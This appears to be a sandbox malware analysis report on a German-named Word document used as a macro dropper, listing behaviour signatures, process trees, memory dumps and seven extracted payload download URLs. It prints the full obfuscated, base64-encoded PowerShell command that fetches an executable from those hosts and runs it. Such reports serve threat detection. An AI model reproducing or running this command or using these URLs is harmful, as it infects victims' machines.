Overview

overview

10

Static

static

8

RechnungSc...20.doc

windows7_x64

10

RechnungSc...20.doc

windows10_x64

10

Analysis

  • max time kernel
    108s
  • max time network
    115s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    14/10/2020, 13:57

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    RechnungScan_14_10_2020.doc
  • Size 133KB
  • Sample201014-9cj9r53smn
  • SHA256 0b7c68b124d59eae70ae939bc6b4ea796c544dedf331efe54fdf582a15efe006
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://riandutra.com/img/YX1/
  • exe.dropper

    http://swimsecure.com/vsim-henry/r/
  • exe.dropper

    http://guarany.net/zefiro/ZO/
  • exe.dropper

    https://losgalpones.com/wp-admin/T/
  • exe.dropper

    https://qualitychildcarepreschool.com/0Bq0iCR6gx/oq/
  • exe.dropper

    https://businessexitnow.com/old-wp-includes/1yr/
  • exe.dropper

    https://brownshotelgroup.com/hotelbrownsboutique.com/2r/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RechnungScan_14_10_2020.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1456
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABXADEAdQB5AGgAdwB5AD0AWwBjAGgAYQByAF0ANAAyADsAJABSAHAANwAzAGoAaQAxAD0AKAAoACcAVgAnACsAJwBzAHUAJwApACsAKAAnAHMAZgBxACcAKwAnAG4AJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AVgA6AFUAUwBlAFIAUAByAE8AZgBpAGwAZQBcAHAAOQBKAFQAegAzAFAAXABSADkAZwBZAHkAagAxAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAGUAQwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAGAAUgBJAGAAVABZAGAAcABSAG8AVABgAE8AQwBPAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxADIAJwArACcALAAgAHQAJwApACsAJwBsACcAKwAoACcAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAB0AGwAJwArACcAcwAnACkAKQA7ACQATQByAHgAcwBxAHgAXwAgAD0AIAAoACgAJwBJACcAKwAnADMAZAAnACkAKwAoACcANAA3ACcAKwAnAGsAJwApACkAOwAkAFMAYwA5ADQAdAByAGwAPQAoACcAUQAnACsAKAAnAF8AbAAnACsAJwBhACcAKQArACgAJwA0ACcAKwAnADEANwAnACkAKQA7ACQAUwBfAGYAeQAxAGUANQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBJACcAKwAnAEcAJwArACgAJwBPACcAKwAnAFAAOQAnACkAKwAoACcAagAnACsAJwB0AHoAJwApACsAKAAnADMAcABJAEcAJwArACcATwBSACcAKwAnADkAZwB5ACcAKQArACcAeQBqACcAKwAoACcAMQAnACsAJwBJAEcATwAnACkAKQAuACIAcgBgAEUAcABsAGAAQQBDAEUAIgAoACgAJwBJACcAKwAnAEcATwAnACkALABbAHMAVAByAGkAbgBnAF0AWwBjAGgAYQBSAF0AOQAyACkAKQArACQATQByAHgAcwBxAHgAXwArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASQBoADMAegBoAGgAOQA9ACgAJwBGAHUAJwArACgAJwBjACcAKwAnAG4AOABnACcAKQArACcAOQAnACkAOwAkAEsANQBzADYAeQA1ADgAPQAmACgAJwBuAGUAdwAtAG8AYgBqAGUAJwArACcAYwAnACsAJwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAQwBMAEkARQBuAFQAOwAkAEoAcgA4AG4AagA4ADIAPQAoACcAaAAnACsAKAAnAHQAdABwACcAKwAnADoALwAvACcAKwAnAHIAaQBhACcAKQArACcAbgAnACsAJwBkAHUAJwArACcAdAAnACsAKAAnAHIAYQAnACsAJwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAnACsAJwAvAGkAbQBnAC8AWQBYADEAJwArACcALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AcwB3ACcAKQArACcAaQAnACsAJwBtAHMAJwArACcAZQBjACcAKwAoACcAdQByACcAKwAnAGUAJwApACsAKAAnAC4AYwBvAG0ALwB2ACcAKwAnAHMAaQAnACkAKwAoACcAbQAnACsAJwAtAGgAJwApACsAKAAnAGUAbgByACcAKwAnAHkAJwArACcALwByACcAKQArACgAJwAvACcAKwAnACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAOgAnACsAJwAvAC8AJwApACsAJwBnAHUAJwArACcAYQAnACsAKAAnAHIAYQAnACsAJwBuACcAKQArACgAJwB5ACcAKwAnAC4AbgAnACkAKwAoACcAZQB0AC8AegBlACcAKwAnAGYAaQByAG8ALwAnACsAJwBaACcAKwAnAE8ALwAnACkAKwAoACcAKgBoAHQAdABwAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAGwAJwArACcAbwBzACcAKQArACcAZwBhACcAKwAnAGwAJwArACgAJwBwACcAKwAnAG8AbgAnACkAKwAoACcAZQBzACcAKwAnAC4AJwArACcAYwBvAG0AJwApACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AYQAnACkAKwAnAGQAJwArACgAJwBtAGkAJwArACcAbgAvAFQAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwACcAKwAnAHMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBxAHUAYQBsACcAKwAnAGkAJwApACsAKAAnAHQAJwArACcAeQBjAGgAaQAnACkAKwAoACcAbAAnACsAJwBkAGMAYQByAGUAJwArACcAcAByAGUAJwApACsAKAAnAHMAYwAnACsAJwBoAG8AJwApACsAJwBvACcAKwAnAGwALgAnACsAKAAnAGMAbwAnACsAJwBtAC8AMABCAHEAMAAnACsAJwBpACcAKwAnAEMAUgA2ACcAKwAnAGcAeAAnACkAKwAoACcALwAnACsAJwBvAHEAJwApACsAJwAvACcAKwAnACoAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQArACcAcwA6ACcAKwAnAC8ALwAnACsAJwBiACcAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQAnACsAJwBzAHMAJwApACsAJwBlAHgAJwArACgAJwBpAHQAbgBvACcAKwAnAHcALgBjAG8AbQAvAG8AJwArACcAbABkACcAKwAnAC0AJwApACsAKAAnAHcAcAAtACcAKwAnAGkAbgAnACkAKwAnAGMAbAAnACsAJwB1AGQAJwArACgAJwBlAHMAJwArACcALwAxACcAKQArACgAJwB5AHIALwAqACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnAHMAOgAnACkAKwAnAC8AJwArACgAJwAvAGIAcgBvACcAKwAnAHcAbgAnACsAJwBzACcAKQArACcAaABvACcAKwAoACcAdABlAGwAJwArACcAZwByAG8AJwApACsAJwB1ACcAKwAoACcAcAAuACcAKwAnAGMAbwBtACcAKQArACcALwAnACsAKAAnAGgAbwAnACsAJwB0AGUAJwArACcAbABiAHIAbwAnACkAKwAoACcAdwBuACcAKwAnAHMAJwApACsAKAAnAGIAbwB1AHQAJwArACcAaQAnACkAKwAoACcAcQAnACsAJwB1AGUAJwApACsAJwAuAGMAJwArACgAJwBvAG0AJwArACcALwAyAHIALwAnACkAKQAuACIAcwBQAEwAYABpAHQAIgAoACQAVwAxAHUAeQBoAHcAeQApADsAJABKAHgAZwAxAGwAcQBoAD0AKAAnAE4AJwArACcAOAA4ACcAKwAoACcAcwAnACsAJwA1AHEAdgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQANQAzAHAAaAB6AGUAIABpAG4AIAAkAEoAcgA4AG4AagA4ADIAKQB7AHQAcgB5AHsAJABLADUAcwA2AHkANQA4AC4AIgBkAGAAbwBgAFcATgBsAG8AYQBgAGQAZgBJAEwAZQAiACgAJABEADUAMwBwAGgAegBlACwAIAAkAFMAXwBmAHkAMQBlADUAKQA7ACQATAB3ADIAdgBlAHcAdgA9ACgAKAAnAEQAbwB2ACcAKwAnAF8AJwApACsAJwBvADAAJwArACcAegAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAUwBfAGYAeQAxAGUANQApAC4AIgBMAEUAYABOAGAARwBUAEgAIgAgAC0AZwBlACAAMgA5ADQAOQA4ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AJwArACcAawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFMAXwBmAHkAMQBlADUAKQA7ACQAWQB4AGYAdQBnADUAOAA9ACgAKAAnAFQAZwAnACsAJwBsACcAKQArACgAJwBsAHAAJwArACcAMQAzACcAKQApADsAYgByAGUAYQBrADsAJABTADkAawBwAG0AaQAzAD0AKAAnAFIAJwArACcAdwAnACsAKAAnADkANwAnACsAJwBoAHgAdQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABxADcANABxADUAagA9ACgAJwBWACcAKwAnAHYAbgAnACsAKAAnAHEAJwArACcAawBoADEAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1548

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1456-2-0x0000000008A70000-0x0000000008A74000-memory.dmp
        Download

        memory/1456-3-0x0000000006EF0000-0x00000000070F0000-memory.dmp
        Download

        memory/1456-4-0x0000000006EF0000-0x00000000070F0000-memory.dmp
        Download

        memory/1548-7-0x000007FEF1EC0000-0x000007FEF28AC000-memory.dmp
        Download

        memory/1548-8-0x00000000022D0000-0x00000000022D1000-memory.dmp
        Download

        memory/1548-9-0x000000001AD20000-0x000000001AD21000-memory.dmp
        Download

        memory/1548-10-0x00000000023B0000-0x00000000023B1000-memory.dmp
        Download

        memory/1548-11-0x0000000002470000-0x0000000002471000-memory.dmp
        Download

        memory/1548-12-0x000000001B8D0000-0x000000001B8D1000-memory.dmp
        Download

        memory/1548-13-0x000000001C320000-0x000000001C321000-memory.dmp
        Download